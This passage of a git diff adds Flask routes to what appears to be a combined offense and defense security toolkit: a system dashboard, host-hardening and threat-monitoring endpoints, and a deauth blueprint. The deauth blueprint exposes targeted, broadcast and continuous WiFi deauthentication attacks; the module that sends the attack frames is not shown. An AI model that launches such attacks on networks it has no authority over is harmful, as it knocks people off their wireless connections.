dashboard_bp = Blueprint('dashboard', __name__)
|
||||
|
||||
|
||||
def get_system_info():
|
||||
info = {
|
||||
'hostname': socket.gethostname(),
|
||||
'platform': platform.platform(),
|
||||
'python': platform.python_version(),
|
||||
'arch': platform.machine(),
|
||||
}
|
||||
try:
|
||||
info['ip'] = socket.gethostbyname(socket.gethostname())
|
||||
except Exception:
|
||||
info['ip'] = '127.0.0.1'
|
||||
|
||||
# Uptime
|
||||
try:
|
||||
with open('/proc/uptime') as f:
|
||||
uptime_secs = float(f.read().split()[0])
|
||||
days = int(uptime_secs // 86400)
|
||||
hours = int((uptime_secs % 86400) // 3600)
|
||||
info['uptime'] = f"{days}d {hours}h"
|
||||
except Exception:
|
||||
info['uptime'] = 'N/A'
|
||||
|
||||
return info
|
||||
|
||||
|
||||
def get_tool_status():
|
||||
from core.paths import find_tool
|
||||
tools = {}
|
||||
for tool in ['nmap', 'tshark', 'upnpc', 'msfrpcd', 'wg']:
|
||||
tools[tool] = find_tool(tool) is not None
|
||||
return tools
|
||||
|
||||
|
||||
def get_module_counts():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
counts = {}
|
||||
for name, info in menu.modules.items():
|
||||
cat = info.category
|
||||
counts[cat] = counts.get(cat, 0) + 1
|
||||
counts['total'] = len(menu.modules)
|
||||
return counts
|
||||
|
||||
|
||||
@dashboard_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
config = current_app.autarch_config
|
||||
system = get_system_info()
|
||||
tools = get_tool_status()
|
||||
modules = get_module_counts()
|
||||
|
||||
# LLM status
|
||||
llm_backend = config.get('autarch', 'llm_backend', fallback='local')
|
||||
if llm_backend == 'transformers':
|
||||
llm_model = config.get('transformers', 'model_path', fallback='')
|
||||
elif llm_backend == 'claude':
|
||||
llm_model = config.get('claude', 'model', fallback='')
|
||||
elif llm_backend == 'huggingface':
|
||||
llm_model = config.get('huggingface', 'model', fallback='')
|
||||
else:
|
||||
llm_model = config.get('llama', 'model_path', fallback='')
|
||||
|
||||
# UPnP status
|
||||
upnp_enabled = config.get_bool('upnp', 'enabled', fallback=False)
|
||||
|
||||
return render_template('dashboard.html',
|
||||
system=system,
|
||||
tools=tools,
|
||||
modules=modules,
|
||||
llm_backend=llm_backend,
|
||||
llm_model=llm_model,
|
||||
upnp_enabled=upnp_enabled,
|
||||
)
|
||||
|
||||
|
||||
@dashboard_bp.route('/manual')
|
||||
@login_required
|
||||
def manual():
|
||||
"""Render the user manual as HTML."""
|
||||
manual_path = Path(__file__).parent.parent.parent / 'user_manual.md'
|
||||
content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Manual not found'
|
||||
try:
|
||||
import markdown
|
||||
html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc'])
|
||||
except ImportError:
|
||||
html = '<pre>' + content.replace('<', '<') + '</pre>'
|
||||
return render_template('manual.html', manual_html=Markup(html))
|
||||
|
||||
|
||||
@dashboard_bp.route('/manual/windows')
|
||||
@login_required
|
||||
def manual_windows():
|
||||
"""Render the Windows-specific user manual."""
|
||||
manual_path = Path(__file__).parent.parent.parent / 'windows_manual.md'
|
||||
content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Windows manual not found'
|
||||
try:
|
||||
import markdown
|
||||
html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc'])
|
||||
except ImportError:
|
||||
html = '<pre>' + content.replace('<', '<') + '</pre>'
|
||||
return render_template('manual.html', manual_html=Markup(html))
|
||||
|
||||
|
||||
@dashboard_bp.route('/api/modules/reload', methods=['POST'])
|
||||
@login_required
|
||||
def reload_modules():
|
||||
"""Re-scan modules directory and return updated counts + module list."""
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
|
||||
counts = {}
|
||||
modules = []
|
||||
for name, info in menu.modules.items():
|
||||
cat = info.category
|
||||
counts[cat] = counts.get(cat, 0) + 1
|
||||
modules.append({
|
||||
'name': name,
|
||||
'category': cat,
|
||||
'description': info.description,
|
||||
'version': info.version,
|
||||
})
|
||||
counts['total'] = len(menu.modules)
|
||||
|
||||
return jsonify({'counts': counts, 'modules': modules, 'total': counts['total']})
|
||||
133
web/routes/deauth.py
Normal file
133
web/routes/deauth.py
Normal file
@@ -0,0 +1,133 @@
|
||||
"""Deauth Attack routes."""
|
||||
from flask import Blueprint, request, jsonify, render_template
|
||||
from web.auth import login_required
|
||||
|
||||
deauth_bp = Blueprint('deauth', __name__, url_prefix='/deauth')
|
||||
|
||||
|
||||
def _get_deauth():
|
||||
from modules.deauth import get_deauth
|
||||
return get_deauth()
|
||||
|
||||
|
||||
@deauth_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('deauth.html')
|
||||
|
||||
|
||||
@deauth_bp.route('/interfaces')
|
||||
@login_required
|
||||
def interfaces():
|
||||
return jsonify({'interfaces': _get_deauth().get_interfaces()})
|
||||
|
||||
|
||||
@deauth_bp.route('/monitor/start', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
interface = data.get('interface', '').strip()
|
||||
return jsonify(_get_deauth().enable_monitor(interface))
|
||||
|
||||
|
||||
@deauth_bp.route('/monitor/stop', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_stop():
|
||||
data = request.get_json(silent=True) or {}
|
||||
interface = data.get('interface', '').strip()
|
||||
return jsonify(_get_deauth().disable_monitor(interface))
|
||||
|
||||
|
||||
@deauth_bp.route('/scan/networks', methods=['POST'])
|
||||
@login_required
|
||||
def scan_networks():
|
||||
data = request.get_json(silent=True) or {}
|
||||
interface = data.get('interface', '').strip()
|
||||
duration = int(data.get('duration', 10))
|
||||
networks = _get_deauth().scan_networks(interface, duration)
|
||||
return jsonify({'networks': networks, 'total': len(networks)})
|
||||
|
||||
|
||||
@deauth_bp.route('/scan/clients', methods=['POST'])
|
||||
@login_required
|
||||
def scan_clients():
|
||||
data = request.get_json(silent=True) or {}
|
||||
interface = data.get('interface', '').strip()
|
||||
target_bssid = data.get('target_bssid', '').strip() or None
|
||||
duration = int(data.get('duration', 10))
|
||||
clients = _get_deauth().scan_clients(interface, target_bssid, duration)
|
||||
return jsonify({'clients': clients, 'total': len(clients)})
|
||||
|
||||
|
||||
@deauth_bp.route('/attack/targeted', methods=['POST'])
|
||||
@login_required
|
||||
def attack_targeted():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_deauth().deauth_targeted(
|
||||
interface=data.get('interface', '').strip(),
|
||||
target_bssid=data.get('bssid', '').strip(),
|
||||
client_mac=data.get('client', '').strip(),
|
||||
count=int(data.get('count', 10)),
|
||||
interval=float(data.get('interval', 0.1))
|
||||
))
|
||||
|
||||
|
||||
@deauth_bp.route('/attack/broadcast', methods=['POST'])
|
||||
@login_required
|
||||
def attack_broadcast():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_deauth().deauth_broadcast(
|
||||
interface=data.get('interface', '').strip(),
|
||||
target_bssid=data.get('bssid', '').strip(),
|
||||
count=int(data.get('count', 10)),
|
||||
interval=float(data.get('interval', 0.1))
|
||||
))
|
||||
|
||||
|
||||
@deauth_bp.route('/attack/multi', methods=['POST'])
|
||||
@login_required
|
||||
def attack_multi():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_deauth().deauth_multi(
|
||||
interface=data.get('interface', '').strip(),
|
||||
targets=data.get('targets', []),
|
||||
count=int(data.get('count', 10)),
|
||||
interval=float(data.get('interval', 0.1))
|
||||
))
|
||||
|
||||
|
||||
@deauth_bp.route('/attack/continuous/start', methods=['POST'])
|
||||
@login_required
|
||||
def attack_continuous_start():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_get_deauth().start_continuous(
|
||||
interface=data.get('interface', '').strip(),
|
||||
target_bssid=data.get('bssid', '').strip(),
|
||||
client_mac=data.get('client', '').strip() or None,
|
||||
interval=float(data.get('interval', 0.5)),
|
||||
burst=int(data.get('burst', 5))
|
||||
))
|
||||
|
||||
|
||||
@deauth_bp.route('/attack/continuous/stop', methods=['POST'])
|
||||
@login_required
|
||||
def attack_continuous_stop():
|
||||
return jsonify(_get_deauth().stop_continuous())
|
||||
|
||||
|
||||
@deauth_bp.route('/attack/status')
|
||||
@login_required
|
||||
def attack_status():
|
||||
return jsonify(_get_deauth().get_attack_status())
|
||||
|
||||
|
||||
@deauth_bp.route('/history')
|
||||
@login_required
|
||||
def history():
|
||||
return jsonify({'history': _get_deauth().get_attack_history()})
|
||||
|
||||
|
||||
@deauth_bp.route('/history', methods=['DELETE'])
|
||||
@login_required
|
||||
def history_clear():
|
||||
return jsonify(_get_deauth().clear_history())
|
||||
658
web/routes/defense.py
Normal file
658
web/routes/defense.py
Normal file
@@ -0,0 +1,658 @@
|
||||
"""Defense category routes — landing page, Linux defense, Windows defense, Threat Monitor."""
|
||||
|
||||
import re
|
||||
import subprocess
|
||||
import platform
|
||||
import socket
|
||||
import json
|
||||
from flask import Blueprint, render_template, request, jsonify, Response, stream_with_context
|
||||
from web.auth import login_required
|
||||
|
||||
defense_bp = Blueprint('defense', __name__, url_prefix='/defense')
|
||||
|
||||
|
||||
def _run_cmd(cmd, timeout=10):
|
||||
try:
|
||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
|
||||
return result.returncode == 0, result.stdout.strip()
|
||||
except Exception:
|
||||
return False, ""
|
||||
|
||||
|
||||
# ==================== LANDING PAGE ====================
|
||||
|
||||
@defense_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
modules = {k: v for k, v in menu.modules.items() if v.category == 'defense'}
|
||||
|
||||
# Gather system info for the landing page
|
||||
sys_info = {
|
||||
'platform': platform.system(),
|
||||
'hostname': socket.gethostname(),
|
||||
'os_version': platform.platform(),
|
||||
}
|
||||
try:
|
||||
sys_info['ip'] = socket.gethostbyname(socket.gethostname())
|
||||
except Exception:
|
||||
sys_info['ip'] = '127.0.0.1'
|
||||
|
||||
return render_template('defense.html', modules=modules, sys_info=sys_info)
|
||||
|
||||
|
||||
# ==================== LINUX DEFENSE ====================
|
||||
|
||||
@defense_bp.route('/linux')
|
||||
@login_required
|
||||
def linux_index():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
modules = {k: v for k, v in menu.modules.items() if v.category == 'defense'}
|
||||
return render_template('defense_linux.html', modules=modules)
|
||||
|
||||
|
||||
@defense_bp.route('/linux/audit', methods=['POST'])
|
||||
@login_required
|
||||
def linux_audit():
|
||||
"""Run full Linux security audit."""
|
||||
from modules.defender import Defender
|
||||
d = Defender()
|
||||
d.check_firewall()
|
||||
d.check_ssh_config()
|
||||
d.check_open_ports()
|
||||
d.check_users()
|
||||
d.check_permissions()
|
||||
d.check_services()
|
||||
d.check_fail2ban()
|
||||
d.check_selinux()
|
||||
|
||||
passed = sum(1 for r in d.results if r['passed'])
|
||||
total = len(d.results)
|
||||
score = int((passed / total) * 100) if total > 0 else 0
|
||||
|
||||
return jsonify({
|
||||
'score': score,
|
||||
'passed': passed,
|
||||
'total': total,
|
||||
'checks': d.results
|
||||
})
|
||||
|
||||
|
||||
@defense_bp.route('/linux/check/<check_name>', methods=['POST'])
|
||||
@login_required
|
||||
def linux_check(check_name):
|
||||
"""Run individual Linux security check."""
|
||||
from modules.defender import Defender
|
||||
d = Defender()
|
||||
|
||||
checks_map = {
|
||||
'firewall': d.check_firewall,
|
||||
'ssh': d.check_ssh_config,
|
||||
'ports': d.check_open_ports,
|
||||
'users': d.check_users,
|
||||
'permissions': d.check_permissions,
|
||||
'services': d.check_services,
|
||||
'fail2ban': d.check_fail2ban,
|
||||
'selinux': d.check_selinux,
|
||||
}
|
||||
|
||||
func = checks_map.get(check_name)
|
||||
if not func:
|
||||
return jsonify({'error': f'Unknown check: {check_name}'}), 400
|
||||
|
||||
func()
|
||||
return jsonify({'checks': d.results})
|
||||
|
||||
|
||||
@defense_bp.route('/linux/firewall/rules')
|
||||
@login_required
|
||||
def linux_firewall_rules():
|
||||
"""Get current iptables rules."""
|
||||
success, output = _run_cmd("sudo iptables -L -n --line-numbers 2>/dev/null")
|
||||
if success:
|
||||
return jsonify({'rules': output})
|
||||
return jsonify({'rules': 'Could not read iptables rules (need sudo privileges)'})
|
||||
|
||||
|
||||
@defense_bp.route('/linux/firewall/block', methods=['POST'])
|
||||
@login_required
|
||||
def linux_firewall_block():
|
||||
"""Block an IP address via iptables."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
|
||||
return jsonify({'error': 'Invalid IP address', 'success': False})
|
||||
|
||||
success, _ = _run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP")
|
||||
if success:
|
||||
return jsonify({'message': f'Blocked {ip}', 'success': True})
|
||||
return jsonify({'error': f'Failed to block {ip} (need sudo)', 'success': False})
|
||||
|
||||
|
||||
@defense_bp.route('/linux/firewall/unblock', methods=['POST'])
|
||||
@login_required
|
||||
def linux_firewall_unblock():
|
||||
"""Unblock an IP address via iptables."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
|
||||
return jsonify({'error': 'Invalid IP address', 'success': False})
|
||||
|
||||
success, _ = _run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP")
|
||||
if success:
|
||||
return jsonify({'message': f'Unblocked {ip}', 'success': True})
|
||||
return jsonify({'error': f'Failed to unblock {ip}', 'success': False})
|
||||
|
||||
|
||||
@defense_bp.route('/linux/logs/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def linux_logs_analyze():
|
||||
"""Analyze auth and web logs (Linux)."""
|
||||
from modules.defender import Defender
|
||||
d = Defender()
|
||||
auth_results = d._analyze_auth_log()
|
||||
web_results = d._analyze_web_logs()
|
||||
|
||||
return jsonify({
|
||||
'auth_results': auth_results[:20],
|
||||
'web_results': web_results[:20],
|
||||
})
|
||||
|
||||
|
||||
# ==================== WINDOWS DEFENSE ====================
|
||||
|
||||
@defense_bp.route('/windows')
|
||||
@login_required
|
||||
def windows_index():
|
||||
"""Windows defense sub-page."""
|
||||
return render_template('defense_windows.html')
|
||||
|
||||
|
||||
@defense_bp.route('/windows/audit', methods=['POST'])
|
||||
@login_required
|
||||
def windows_audit():
|
||||
"""Run full Windows security audit."""
|
||||
from modules.defender_windows import WindowsDefender
|
||||
d = WindowsDefender()
|
||||
d.check_firewall()
|
||||
d.check_ssh_config()
|
||||
d.check_open_ports()
|
||||
d.check_updates()
|
||||
d.check_users()
|
||||
d.check_permissions()
|
||||
d.check_services()
|
||||
d.check_defender()
|
||||
d.check_uac()
|
||||
|
||||
passed = sum(1 for r in d.results if r['passed'])
|
||||
total = len(d.results)
|
||||
score = int((passed / total) * 100) if total > 0 else 0
|
||||
|
||||
return jsonify({
|
||||
'score': score,
|
||||
'passed': passed,
|
||||
'total': total,
|
||||
'checks': d.results
|
||||
})
|
||||
|
||||
|
||||
@defense_bp.route('/windows/check/<check_name>', methods=['POST'])
|
||||
@login_required
|
||||
def windows_check(check_name):
|
||||
"""Run individual Windows security check."""
|
||||
from modules.defender_windows import WindowsDefender
|
||||
d = WindowsDefender()
|
||||
|
||||
checks_map = {
|
||||
'firewall': d.check_firewall,
|
||||
'ssh': d.check_ssh_config,
|
||||
'ports': d.check_open_ports,
|
||||
'updates': d.check_updates,
|
||||
'users': d.check_users,
|
||||
'permissions': d.check_permissions,
|
||||
'services': d.check_services,
|
||||
'defender': d.check_defender,
|
||||
'uac': d.check_uac,
|
||||
}
|
||||
|
||||
func = checks_map.get(check_name)
|
||||
if not func:
|
||||
return jsonify({'error': f'Unknown check: {check_name}'}), 400
|
||||
|
||||
func()
|
||||
return jsonify({'checks': d.results})
|
||||
|
||||
|
||||
@defense_bp.route('/windows/firewall/rules')
|
||||
@login_required
|
||||
def windows_firewall_rules():
|
||||
"""Get Windows Firewall rules."""
|
||||
from modules.defender_windows import WindowsDefender
|
||||
d = WindowsDefender()
|
||||
success, output = d.get_firewall_rules()
|
||||
if success:
|
||||
return jsonify({'rules': output})
|
||||
return jsonify({'rules': 'Could not read Windows Firewall rules (need admin privileges)'})
|
||||
|
||||
|
||||
@defense_bp.route('/windows/firewall/block', methods=['POST'])
|
||||
@login_required
|
||||
def windows_firewall_block():
|
||||
"""Block an IP via Windows Firewall."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
|
||||
return jsonify({'error': 'Invalid IP address', 'success': False})
|
||||
|
||||
from modules.defender_windows import WindowsDefender
|
||||
d = WindowsDefender()
|
||||
success, message = d.block_ip(ip)
|
||||
return jsonify({'message': message, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/windows/firewall/unblock', methods=['POST'])
|
||||
@login_required
|
||||
def windows_firewall_unblock():
|
||||
"""Unblock an IP via Windows Firewall."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
|
||||
return jsonify({'error': 'Invalid IP address', 'success': False})
|
||||
|
||||
from modules.defender_windows import WindowsDefender
|
||||
d = WindowsDefender()
|
||||
success, message = d.unblock_ip(ip)
|
||||
return jsonify({'message': message, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/windows/logs/analyze', methods=['POST'])
|
||||
@login_required
|
||||
def windows_logs_analyze():
|
||||
"""Analyze Windows Event Logs."""
|
||||
from modules.defender_windows import WindowsDefender
|
||||
d = WindowsDefender()
|
||||
auth_results, system_results = d.analyze_event_logs()
|
||||
|
||||
return jsonify({
|
||||
'auth_results': auth_results[:20],
|
||||
'system_results': system_results[:20],
|
||||
})
|
||||
|
||||
|
||||
# ==================== THREAT MONITOR ====================
|
||||
|
||||
|
||||
def _get_monitor():
|
||||
"""Get singleton ThreatMonitor instance."""
|
||||
from modules.defender_monitor import get_threat_monitor
|
||||
return get_threat_monitor()
|
||||
|
||||
|
||||
@defense_bp.route('/monitor')
|
||||
@login_required
|
||||
def monitor_index():
|
||||
"""Threat Monitor sub-page."""
|
||||
return render_template('defense_monitor.html')
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/stream')
|
||||
@login_required
|
||||
def monitor_stream():
|
||||
"""SSE stream of real-time threat data."""
|
||||
return Response(stream_with_context(_get_monitor().monitor_stream()),
|
||||
mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/connections', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_connections():
|
||||
"""Get current network connections."""
|
||||
m = _get_monitor()
|
||||
connections = m.get_connections()
|
||||
return jsonify({'connections': connections, 'total': len(connections)})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/processes', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_processes():
|
||||
"""Get suspicious processes."""
|
||||
m = _get_monitor()
|
||||
processes = m.get_suspicious_processes()
|
||||
return jsonify({'processes': processes, 'total': len(processes)})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/threats', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_threats():
|
||||
"""Get threat score and summary."""
|
||||
m = _get_monitor()
|
||||
report = m.generate_threat_report()
|
||||
return jsonify(report)
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/block-ip', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_block_ip():
|
||||
"""Counter-attack: block an IP."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
|
||||
return jsonify({'error': 'Invalid IP address', 'success': False})
|
||||
|
||||
success, message = _get_monitor().auto_block_ip(ip)
|
||||
return jsonify({'message': message, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/kill-process', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_kill_process():
|
||||
"""Counter-attack: kill a process."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
pid = data.get('pid')
|
||||
if not pid:
|
||||
return jsonify({'error': 'No PID provided', 'success': False})
|
||||
|
||||
success, message = _get_monitor().kill_process(pid)
|
||||
return jsonify({'message': message, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/block-port', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_block_port():
|
||||
"""Counter-attack: block a port."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
port = data.get('port')
|
||||
direction = data.get('direction', 'in')
|
||||
if not port:
|
||||
return jsonify({'error': 'No port provided', 'success': False})
|
||||
|
||||
success, message = _get_monitor().block_port(port, direction)
|
||||
return jsonify({'message': message, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/blocklist')
|
||||
@login_required
|
||||
def monitor_blocklist_get():
|
||||
"""Get persistent blocklist."""
|
||||
return jsonify({'blocked_ips': _get_monitor().get_blocklist()})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/blocklist', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_blocklist_add():
|
||||
"""Add IP to persistent blocklist."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
|
||||
return jsonify({'error': 'Invalid IP address', 'success': False})
|
||||
|
||||
blocklist = _get_monitor().add_to_blocklist(ip)
|
||||
return jsonify({'blocked_ips': blocklist, 'success': True})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/blocklist/remove', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_blocklist_remove():
|
||||
"""Remove IP from persistent blocklist."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip:
|
||||
return jsonify({'error': 'No IP provided', 'success': False})
|
||||
|
||||
blocklist = _get_monitor().remove_from_blocklist(ip)
|
||||
return jsonify({'blocked_ips': blocklist, 'success': True})
|
||||
|
||||
|
||||
# ==================== MONITORING: BANDWIDTH, ARP, PORTS, GEOIP, CONN RATE ====================
|
||||
|
||||
@defense_bp.route('/monitor/bandwidth', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_bandwidth():
|
||||
"""Get bandwidth stats per interface."""
|
||||
return jsonify({'interfaces': _get_monitor().get_bandwidth()})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/arp-check', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_arp_check():
|
||||
"""Check for ARP spoofing."""
|
||||
alerts = _get_monitor().check_arp_spoofing()
|
||||
return jsonify({'alerts': alerts, 'total': len(alerts)})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/new-ports', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_new_ports():
|
||||
"""Check for new listening ports."""
|
||||
ports = _get_monitor().check_new_listening_ports()
|
||||
return jsonify({'new_ports': ports, 'total': len(ports)})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/geoip', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_geoip():
|
||||
"""GeoIP lookup for an IP."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip:
|
||||
return jsonify({'error': 'No IP provided'}), 400
|
||||
result = _get_monitor().geoip_lookup(ip)
|
||||
if result:
|
||||
return jsonify(result)
|
||||
return jsonify({'ip': ip, 'error': 'Private IP or lookup failed'})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/connections-geo', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_connections_geo():
|
||||
"""Get connections enriched with GeoIP data."""
|
||||
connections = _get_monitor().get_connections_with_geoip()
|
||||
return jsonify({'connections': connections, 'total': len(connections)})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/connection-rate', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_connection_rate():
|
||||
"""Get connection rate stats."""
|
||||
return jsonify(_get_monitor().get_connection_rate())
|
||||
|
||||
|
||||
# ==================== PACKET CAPTURE (via WiresharkManager) ====================
|
||||
|
||||
@defense_bp.route('/monitor/capture/interfaces')
|
||||
@login_required
|
||||
def monitor_capture_interfaces():
|
||||
"""Get available network interfaces for capture."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
wm = get_wireshark_manager()
|
||||
return jsonify({'interfaces': wm.list_interfaces()})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/capture/start', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_capture_start():
|
||||
"""Start packet capture."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
from core.wireshark import get_wireshark_manager
|
||||
wm = get_wireshark_manager()
|
||||
result = wm.start_capture(
|
||||
interface=data.get('interface', ''),
|
||||
bpf_filter=data.get('filter', ''),
|
||||
duration=int(data.get('duration', 30)),
|
||||
)
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/capture/stop', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_capture_stop():
|
||||
"""Stop packet capture."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
wm = get_wireshark_manager()
|
||||
result = wm.stop_capture()
|
||||
return jsonify(result)
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/capture/stats')
|
||||
@login_required
|
||||
def monitor_capture_stats():
|
||||
"""Get capture statistics."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
wm = get_wireshark_manager()
|
||||
return jsonify(wm.get_capture_stats())
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/capture/stream')
|
||||
@login_required
|
||||
def monitor_capture_stream():
|
||||
"""SSE stream of captured packets."""
|
||||
import time as _time
|
||||
from core.wireshark import get_wireshark_manager
|
||||
mgr = get_wireshark_manager()
|
||||
|
||||
def generate():
|
||||
last_count = 0
|
||||
while mgr._capture_running:
|
||||
stats = mgr.get_capture_stats()
|
||||
count = stats.get('packet_count', 0)
|
||||
if count > last_count:
|
||||
new_packets = mgr._capture_packets[last_count:count]
|
||||
for pkt in new_packets:
|
||||
yield f'data: {json.dumps({"type": "packet", **pkt})}\n\n'
|
||||
last_count = count
|
||||
yield f'data: {json.dumps({"type": "stats", "packet_count": count, "running": True})}\n\n'
|
||||
_time.sleep(0.5)
|
||||
stats = mgr.get_capture_stats()
|
||||
yield f'data: {json.dumps({"type": "done", **stats})}\n\n'
|
||||
|
||||
return Response(stream_with_context(generate()),
|
||||
mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/capture/protocols', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_capture_protocols():
|
||||
"""Get protocol distribution from captured packets."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
wm = get_wireshark_manager()
|
||||
return jsonify({'protocols': wm.get_protocol_hierarchy()})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/capture/conversations', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_capture_conversations():
|
||||
"""Get top conversations from captured packets."""
|
||||
from core.wireshark import get_wireshark_manager
|
||||
wm = get_wireshark_manager()
|
||||
return jsonify({'conversations': wm.extract_conversations()})
|
||||
|
||||
|
||||
# ==================== DDOS MITIGATION ====================
|
||||
|
||||
@defense_bp.route('/monitor/ddos/detect', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_detect():
|
||||
"""Detect DDoS/DoS attack patterns."""
|
||||
return jsonify(_get_monitor().detect_ddos())
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/top-talkers', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_top_talkers():
|
||||
"""Get top source IPs by connection count."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
limit = int(data.get('limit', 20))
|
||||
return jsonify({'talkers': _get_monitor().get_top_talkers(limit)})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/rate-limit', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_rate_limit():
|
||||
"""Apply rate limit to an IP."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
rate = data.get('rate', '25/min')
|
||||
if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
|
||||
return jsonify({'error': 'Invalid IP address', 'success': False})
|
||||
success, msg = _get_monitor().apply_rate_limit(ip, rate)
|
||||
return jsonify({'message': msg, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/rate-limit/remove', methods=['POST'])
|
||||
@login_required
|
||||
def monitor_ddos_rate_limit_remove():
|
||||
"""Remove rate limit from an IP."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip:
|
||||
return jsonify({'error': 'No IP provided', 'success': False})
|
||||
success, msg = _get_monitor().remove_rate_limit(ip)
|
||||
return jsonify({'message': msg, 'success': success})
|
||||
|
||||
|
||||
@defense_bp.route('/monitor/ddos/syn-status')
|
||||
@login_required
|
||||
def monitor_ddos_syn_status():
|
||||
"""Check SYN flood protection status."""
|
||||
